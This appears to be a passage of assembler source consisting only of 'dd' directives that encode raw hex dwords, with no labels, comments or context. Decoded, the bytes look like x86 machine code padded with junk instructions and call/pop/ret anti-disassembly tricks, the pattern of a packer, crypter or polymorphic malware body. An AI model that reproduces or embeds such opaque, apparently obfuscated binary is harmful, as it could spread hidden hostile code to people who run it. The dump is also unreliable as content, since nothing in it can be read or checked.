		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0DC1A8CC2h
		dd 89407533h, 4DE58D8Dh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0CD0988C3h, 3A7FF140h
		dd 61B58B11h, 0B8064D05h, 5, 0EE8E1FFh,	0B1000000h, 0CC43ACADh
		dd 0C27DF0ACh, 0FC6D9072h, 0F0BF0F00h, 0E18D8D5Fh, 6A064D25h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 3EFCC352h, 0BD89B336h, 64D0A89h, 727C01C7h
		dd 6A44AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0E176D4C3h, 97B143BFh, 0CFCB0181h, 6A1499h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 25E0F3C3h, 0AFA8EA70h, 9E9h,	99A25F00h, 0B3E6D27Fh
		dd 0B503A9B5h, 64D1F11h, 3C0441C7h, 6ACE7875h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0FE06C352h, 4418146h, 31D6D710h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0F3C35646h,	6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 77D0CBC3h, 0E781B544h, 6FA93B17h, 14ED8529h,	858D064Dh
		dd 64D25E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	78C35545h, 9E883h, 0D5DC0000h, 0E81A00A8h, 8BC63317h
		dd 4D0B91BDh, 66505E06h, 89818DBFh, 14E92404h, 0FE000000h
		dd 8D5B445Dh, 9BBDD071h, 7FC9000Dh, 493F8582h, 0FF9F86B3h
		dd 4D0BB595h, 0F88B6606h, 25E18D8Dh, 6A064Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 266AA7C3h
		dd 0AA93998Eh, 0DA9BD8Bh, 1C7064Dh, 0
		dd 441C7h, 0F000000h, 88Ah, 850F5600h, 0
		dd 0FC00B5Fh, 4E84h, 0E58D8D00h, 0E8064D4Dh, 13h, 0B8A365C2h
		dd 433DD254h, 0B356AAAFh, 252BA125h, 8B4326A9h,	4D0A89BDh
		dd 5B85E06h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FF6CC357h,	3DB58BE1h
		dd 8D064D05h, 4D25E18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 128186CDh, 0C7F2B70Fh
		dd 0CA95A501h, 0CB018154h, 6A1499CFh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2D5FC355h
		dd 56ACCA08h, 3B73F31Dh, 32659D89h, 41C7064Dh, 5F596904h
		dd 0C2D681CEh, 812C47C8h, 0D7100441h, 0FA8B31D6h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 2CFAE2C3h, 98E78117h, 8D1C05CCh, 4D25E185h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 48A4AF5Dh, 0A61DDF2h, 0EBB5F681h, 8B907137h,	6A9050F1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E99FC352h, 0Ch, 0BB4937BAh, 0C7D6A9F5h
		dd 86CD1F7Dh, 17AD9589h, 95FF064Dh, 64D0BB5h, 0C4CF8166h
		dd 0E18D8D04h, 6A064D25h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0BB2EC356h,	0A4E1CD10h
		dd 14A59589h, 1C7064Dh,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 13C35343h
		dd 53F9AAC8h, 6FE4BE66h, 441C75Fh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 7CC35141h
		dd 840FC00Bh, 5Ah, 55BD31h, 8D8D064Dh, 64D4DE5h, 9503F860h
		dd 64D2B59h, 5B8F861h, 0E8000000h, 0Ch,	0F8E7D7A6h, 0CD6BBAE3h
		dd 0A906F31Ah, 8D9BE66h, 6AE1FF5Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 3E78C355h
		dd 9A1759Ah, 4D22799Dh,	0CA03F906h, 0FFF2D4E9h,	51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C18B7028h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	56C35747h, 5D18589h, 4EB064Dh, 0
		dd 23398D89h, 0B523064Dh, 64D2D59h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CDC35242h,	0E6A1F64h, 0CD8D3127h
		dd 0F064D06h, 858DF1B7h, 64D0735h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 68C35545h, 0F30216Ah, 8531E45Ch
		dd 64D1391h, 52505090h,	0FE960h, 3C7E0000h, 5DB623F1h
		dd 0DA5CD0Ch, 0D206CA5Ah, 0D4A2BF87h, 0F615957h, 12E831h
		dd 94E10000h, 0E3477A0Ch, 0F5896E7Bh, 5475DF2Fh, 0FEDB1059h
		dd 90585A5Eh, 0E115DE81h, 6A28DEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 4AC35343h, 0ED096835h, 6A006ACCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0D516C353h, 8DF50C6Ah, 50E7AE85h,	0C5B52B06h
		dd 83064D28h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 3647D7C3h, 306FD9Ah, 6A905090h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5853C350h, 0F364B41h, 883h, 0B58B5700h, 64D1FF1h
		dd 5E95Eh, 0D5760000h, 6A28D94Ah, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C9817FDEh
		dd 14745DEEh, 0BD896D47h, 64D1B45h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 7F950CC3h
		dd 89BC9DFEh, 4D0B9D85h, 4995FF06h, 6A064D11h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8D06C350h, 509A139Dh, 6AD3FF06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8143C356h
		dd 38EE8166h, 0D2E681BCh, 66610D3Eh, 0B4EADE81h, 181585FFh
		dd 0B58B064Dh, 64D0DA9h, 0A09E9h, 0E800h, 815D0000h, 50E7B8EDh
		dd 0F7BF0F06h, 29E1BD81h, 7D0064Dh, 860F0000h, 189h, 0E0F68166h
		dd 0E99D8BC0h, 0F064D2Dh, 0E381F6B7h, 100h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 8CC35141h, 850FDB0Bh
		dd 0B4h, 0EE9h,	0B8125700h, 0D52C608Dh,	0B48686B8h, 8B9B54FFh
		dd 4D25BDB5h, 9ABD8306h, 650E5h, 59840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2FAB45C3h, 31EA0DB5h, 4D00B195h, 8FE906h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 77D8E0C3h, 0E9F28B66h, 7, 44413BB4h,	0C73A76CFh, 50E59A85h
		dd 106h, 4BD68100h, 0E97E3DE9h,	4Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 13C35242h, 0E5AA5C95h, 0E59A85C7h
		dd 650h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 150424h, 55450000h, 8BCAF7C3h, 4D0005B5h, 0E99D8D06h
		dd 6A064D2Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B61C351h, 4D0F75B5h, 0FF238106h
		dd 6AFFFFFEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 2E04C355h, 1F830Fh, 13E80000h
		dd 0E4000000h, 395576D0h, 0DD8B7E23h, 42176140h, 0ED86A146h
		dd 8A0F8153h, 0
		dd 0DB8C665Eh, 0DDBD8956h, 5E064D11h, 0F04C3F6h, 7A84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FFA94955h, 4D102D95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 18FB1F3Bh, 666B09BEh, 8950F78Bh, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 910797C3h
		dd 0FB9ABFFh, 680h, 6D858900h, 0E9064D21h, 471h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7EC35343h, 8BF1B4B0h
		dd 11E8h, 0BA334B00h, 79B958DBh, 0A4920250h, 0C08B630Dh
		dd 0F5E5011h, 58Eh, 8F44BE00h, 0B01BE8h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 5EC35141h, 89BF017Fh
		dd 4D18098Dh, 9DB50B06h, 0E6064D23h, 0F5BD3170h, 0E4064D0Bh
		dd 0B59D2971h, 66064D23h, 0F662F681h, 8BD8B60Fh, 4D2AF1B5h
		dd 9D895606h, 64D06C1h,	6BA5Eh,	890F0000h, 0Bh,	558D8B60h
		dd 66064D15h, 8B61CB8Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 653F91C7h, 31E2E95Eh
		dd 4D2CB5BDh, 6880F06h,	89000000h, 4D0B3585h, 4E8C106h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AFC35343h
		dd 66EDFC08h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 31DCB8C3h, 4D1B79B5h, 4DB58B06h
		dd 2B064D23h, 0E9B58BD8h, 93064D2Bh, 5050F18Bh,	0BE952h
		dd 0B7330000h, 0A0E0C819h, 0DA91C8E0h, 60310F75h, 4BB0D98Bh
		dd 93585A61h, 29F1B70Fh, 4D25EDB5h, 0E1B5FF06h,	53064D29h
		dd 332DB58Bh, 0FF5E064Dh, 4D051195h, 0BDB52906h, 0B0064D25h
		dd 0F7B70F00h, 953170E6h, 64D06C1h, 0F38B71E4h,	830F613Ch
		dd 2DDh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0F4C35343h, 55721971h, 2915695Dh, 4D22658Dh, 29952906h
		dd 0F064D2Dh, 8B60D8B6h, 4D1B5DBDh, 6BA6106h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 3906C353h, 90F0693Eh, 6AC38BF5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 5880C353h, 2D76F864h, 740744B9h, 6604E8C1h, 663EF7BEh
		dd 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 204663C3h, 0DA59D31h, 0D82B064Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EEC35747h, 74C66E2Eh
		dd 67F79287h, 21BE6656h, 0B58B5E80h, 64D303Dh, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 71AA30D6h, 0F3EAF77h, 14E9F0BFh, 3000000h, 0DE2BAC8h
		dd 7D3364E1h, 18AA5153h, 0C9F2FC77h, 2B56F1F9h,	0AE880FD8h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2D74C356h, 67D4613Fh, 41BE667Eh
		dd 7B954h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8529FEC3h, 64D1EB9h, 3100C183h
		dd 4D1529BDh, 0FD93B06h, 15086h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0CE9C9h, 0E8120000h
		dd 0C9F734DFh, 8C310934h, 8C667BB3h, 50006AD9h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 8AA1622Fh
		dd 89628704h, 4D0B6D95h, 4C1F606h, 0E9840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0BEB273C3h, 2BCE8166h, 73DE812Ch, 0FF26B19Dh, 4D102D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0E1BCF584h, 0F424DC85h, 0AE92Ch,	0AF10000h
		dd 7EFA84A5h, 66BD3D1Ch, 1169B58Bh, 0E95B064Dh,	9, 75D697CEh
		dd 0C59AAE95h, 599D8920h, 2B064D23h, 52006AC3h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0EFBF5DFBh
		dd 5885250Fh, 0F08B66B3h, 8343Dh, 38860F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 4FA0C355h, 713E9164h, 2B0D9589h, 12E9064Dh
		dd 0BE000000h, 0C317D40h, 0DF816660h, 8B610BDFh, 6CBE66C0h
		dd 8BC38B55h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 2A70E526h, 9E064E62h, 14B9BD89h
		dd 85C7064Dh, 64D2735h,	73202759h, 0BD81C08Bh, 64D29E1h
		dd 7D0h, 29850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D72FBDC3h, 0FFF18B66h
		dd 4D29E185h, 0FFF08B06h, 4D29E1B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8B6660AEh
		dd 0D0B70FD9h, 1195FF61h, 66064D05h, 8B90F28Bh,	55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A94A45EEh, 0BD83E83Dh, 64D21A5h, 1E840F00h,	0F000000h
		dd 78Fh, 81665600h, 5E5636E6h, 235E9h, 7E900h, 77760000h
		dd 6935551Ah, 6ADF8CFDh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BFD0C356h,	0E380FE38h
		dd 0BD090182h, 64D2191h, 2AB5B58Bh, 0F766064Dh,	0F0004C7h
		dd 1ED85h, 75B50300h, 2B064D0Eh, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 7B50C8E9h
		dd 0F8C27545h, 0F13C9D8Dh, 0B58B0650h, 64D2001h, 50F78B93h
		dd 0BF525060h, 7E63991h, 585A310Fh, 6A9361h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6FD9ABC3h
		dd 35FF6408h, 0
		dd 81BD89FCh, 64064D24h, 2589h,	0B5030000h, 64D1775h, 6AC48Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0EE97EC3h, 64000000h, 31A8ECABh, 0BE54741Dh,	8B59B12Dh
		dd 0ABE68116h, 0CD71D4FFh, 6A00EB01h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F6EFC350h
		dd 0DB8C5928h, 0FA80BFAh, 282h,	6AF08B00h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3AFDC353h
		dd 0C3B96297h, 896A0238h, 4D31D195h, 0A8E68106h, 645D2446h
		dd 58Fh, 0B70F0000h, 4C483F7h, 1B058589h, 9D89064Dh, 64D0FFDh
		dd 840FC00Bh, 0B2h, 9E9h, 16EF9000h, 0EB53CF47h, 0BD8DBAAAh
		dd 64D4DE5h, 15E59D31h,	6EBE064Dh, 0B82B1DB5h, 5, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CCC35545h, 0B2BA78CAh
		dd 0B585895Fh, 0FF064D2Bh, 52006AE7h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 99295110h
		dd 1C7F03F4h, 8B57396Ch, 8B10245Ch, 0B883h, 40B60F00h
		dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C6C35141h
		dd 0CA2BF08Bh, 0FFF630E9h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 840F5E27h
		dd 16h,	11E9h, 0D8241000h, 0AF8279EBh, 0CC5898D3h, 7CA6533h
		dd 0C18B7EAAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	98C35646h, 0FE96Ch, 64020000h, 27D09B5Ah, 6D547945h
		dd 0A3D09778h, 4EBB5h, 0E9000000h, 14h,	0E793845Ch, 2987D124h
		dd 16BA9427h, 2912EE64h, 0C34B5C04h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0B6C35747h,	513C5E6Eh, 8B6052BDh
		dd 4D127185h, 0DDBA6606h, 858D61ABh, 64D0735h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h, 55A7B98Eh
		dd 0F6139330h, 11E9h, 0FFB04F00h, 6D382470h, 224C83D4h
		dd 20C07429h, 90F8B8FEh, 0F08B6650h, 0C1958990h, 6A064D06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0C4A54AE9h, 683D291Dh, 3B73BF41h, 6A5DE6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 43C35646h
		dd 0F9A102B9h, 8D5EF950h, 50F41185h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 8B5DEFFDh
		dd 0A418B1EAh, 0BF66F113h, 8E9C325h, 77000000h,	3AE1C61h
		dd 8311DBF9h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 50948EC3h, 0E9240489h, 13h, 0AD13114h
		dd 530F785h, 49ED74B4h,	74716991h, 8B002E68h, 4D2A95B5h
		dd 66006A06h, 6A5A7DBEh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0F8B70FEAh, 5A43BE66h
		dd 114995FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D0AAD9C3h, 3DCF8166h, 139D8D80h
		dd 6A06509Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 9395C355h, 6BEA0526h, 6850F9Dh
		dd 31000000h, 4D03058Dh, 1D3FF06h, 4D2029B5h, 1585FF06h
		dd 6A064D18h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 9E7CC355h, 31BD8B99h, 0E9064D29h
		dd 73Bh, 0E8h, 0ED815D00h, 650F41Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0E1C35141h,	0E1BD8114h, 0D0064D29h
		dd 0F000007h, 14286h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 8CE0C462h, 8B55F2B0h
		dd 4D0C3D9Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 4813CDDAh, 33FBB70Fh, 4D2551BDh
		dd 0E38106h, 6A000001h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 7D2CC357h, 0F68E8DA6h
		dd 0FDB0BB9h, 3D85h, 0F9B58B00h, 8B064D1Dh, 4D1F19B5h
		dd 0F1BD8306h, 650F1h, 0B840Fh,	4FE90000h, 8B000000h, 4D2AA1BDh
		dd 0F185C706h, 10650F1h, 66000000h, 294EDDBEh, 4D2A15B5h
		dd 30E906h, 85C70000h, 650F1F1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CFC35242h
		dd 0E6BF9E6Ah, 2B31B52Bh, 9D8D064Dh, 64D0C3Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 49DF13CAh
		dd 0F78B6693h, 0FEFF2381h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F281CC3h
		dd 0BDBD8B44h, 66064D23h, 0C3F6DB8Ch, 55840F04h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FFC7C357h, 4D102D95h, 71A2BE06h,	8B9052C2h
		dd 8B6650F7h, 6A90F0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 13FDE9C3h, 0BE33A4B8h, 15875136h
		dd 322E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0E96427F9h, 0B58B5378h, 64D13A1h
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6A58D6C3h, 33C63771h, 70E64247h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 43C35545h, 1845BD89h
		dd 0E4FC064Dh, 0FF38B71h, 0B58BD8B6h, 64D1F0Dh,	6BAh, 0F1D78100h
		dd 8B05F6DFh, 0A9BD8BC3h, 0C1064D10h, 0EE804E8h, 61000000h
		dd 0AB2903DEh, 98489A33h, 0ADB964B7h, 11820FE4h, 0E9000000h
		dd 0Ch,	0FD75EEBh, 0EC40F21Dh, 0A35B72EFh, 0F766F55Eh
		dd 25BD89E2h, 8B064D07h, 4D2CA9BDh, 29D82B06h, 4D312185h
		dd 1C895006h, 68A0F24h,	89000000h, 4D0B91BDh, 0E1B5FF06h
		dd 6A064D29h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0D0AFC352h, 2960636Bh,	4D0C6195h
		dd 0C0C98106h, 6120D1A2h, 51195FFh, 8166064Dh, 0B0212ACFh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0D8C67AA5h, 6464746Dh, 0F70E654h, 1082h
		dd 0BE900h, 2B3B0000h, 6A9178C7h, 0B66C6360h, 0E871E470h
		dd 11h,	69039EA6h, 0CAE63B43h, 0DF06C15Ah, 21DA2582h, 613C5E80h
		dd 19D830Fh, 8D890000h,	64D2685h, 6AD8B60Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0E34DC350h, 4CE3CA79h, 1FBEB602h, 1509BD03h,	6BA064Dh
		dd 9000000h, 4D0BD995h,	8BC38B06h, 4D2F35B5h, 4E8C106h
		dd 68B0Fh, 8D310000h, 64D0C19h,	89E2F766h, 4D0AE995h, 58D82B06h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h
		dd 10ADBD31h, 0B4BF064Dh, 2B33371Ah, 0C880FD8h,	66000001h
		dd 7B9F18Bh, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0AFE5C356h,	0C1835E50h
		dd 0AE800h, 0CE410000h,	7624D5Ah, 0A3692372h, 60DB58Bh
		dd 3B5E064Dh, 0C4860FD9h, 8B000000h, 4D1F2DBDh,	0D98C6606h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h
		dd 8DBC41C3h, 51A859BCh, 0B5035EF8h, 64D3089h, 0F04C1F6h
		dd 7E84h, 0F08B6600h, 102D95FFh, 39BF064Dh, 5B547F93h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 99C35545h
		dd 66319586h, 2BB0B1BEh, 0E0BF66C3h, 45958980h,	3D064D24h
		dd 834h, 35860Fh, 0B5230000h, 64D2BE9h,	32E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 53BEA2E2h, 0F25B589h, 8166064Dh, 8B4A26F6h, 0C5BD8BC0h
		dd 8B064D22h, 8BD88BC3h, 4D1521BDh, 0E985C706h,	0FF064D2Dh
		dd 6A34C8EFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E90DC355h, 0Fh, 3E4C1F76h, 0E54B0E06h
		dd 80CC5743h, 8B32B8A1h, 4D06B5B5h, 6AC08B06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4A4CC353h, 8E3F942Ah, 850970D0h, 64D0B61h, 29E1BD81h
		dd 7D0064Dh, 850F0000h,	12h, 16399509h,	85FF064Dh, 64D29E1h
		dd 3141B58Bh, 0B5FF064Dh, 64D29E1h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 4DC35040h, 336F8A5Ah, 770D701Eh
		dd 2329BD23h, 0B70F064Dh, 1195FFF6h, 6A064D05h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FBCC355h, 1789h, 12E900h, 4D2A0000h, 95195A32h, 0D644025Ah
		dd 6C2E7C34h, 0E22247D3h, 0B58B5190h, 64D03F1h,	6830F5Eh
		dd 8B000000h, 4D2FB5B5h, 26BE6606h, 19D89A5h, 6A064D15h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0BB5CC352h, 0E19D899Eh, 29064D1Eh, 4D147DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 6A0792h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0A62612C3h, 9C0CB6A0h, 0FF88B9Ah
		dd 13E9F7B7h, 0FB000000h, 0E1BDC699h, 5BB830B4h, 24273911h
		dd 0B6684C11h, 0BD8BBA44h, 64D2B65h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 80C35646h, 8166E65Dh, 8B02D5EEh
		dd 1F830FF1h, 0E9000000h, 14h, 0EAA4411Bh, 7EB556D4h, 52B6CE25h
		dd 0BCDA8EE9h, 9606167Ch, 30319D29h, 0E860064Dh, 0Fh, 3FE4CBF0h
		dd 0F0E611DEh, 12CDF357h, 299F6A06h, 4D10D18Dh,	0C7815906h
		dd 7A49D6E4h, 1B99BD89h, 0BF0F064Dh, 0CDE961DFh, 89FFFFF8h
		dd 4D06E5BDh, 8BF28B06h, 0BD8B56C1h, 64D030Dh, 4EB5Eh
		dd 89000000h, 4D32D5B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0B8D52C60h, 8F0F8686h
		dd 6, 14158D29h, 858D064Dh, 64D0735h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 38C35141h, 0A91EAAA7h, 0E428CE81h
		dd 0BF900440h, 0FDB3F47h, 810F5350h, 2,	905FFA8Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h, 1A4B35BFh
		dd 2015C6C1h, 0F1B70F51h, 0E9006A5Eh, 0Dh, 12FC178Bh, 0BCBB4ABFh
		dd 7635C04Fh, 0AE920h, 829F0000h, 9EA36365h, 41309F6h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66E730C3h, 858DF18Bh, 650FD3Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 86C35141h, 0BE3E3448h
		dd 5205C083h, 0A899D01h, 8B5E064Dh, 4D261DBDh, 50519006h
		dd 0F5F5652h, 10E831h, 1E130000h, 603D7150h, 0CAC985FCh
		dd 0A2727453h, 5A5EA9AEh, 66505E58h, 6A90FE8Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6B2FC357h, 18481A60h, 0BCAADD85h, 3ACE8166h,	0E5BD23CDh
		dd 6A064D03h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 9517072h,	0D300FD4h, 0F3B70FB7h
		dd 8D0F006Ah, 6, 6ADB58Bh, 95FF064Dh, 64D1149h,	0BE4FEF81h
		dd 9D8D2D35h, 6509A13h
		dd 2CD9BD33h, 0D3FF064Dh, 0C860Fh, 810F0000h, 6, 1F958D01h
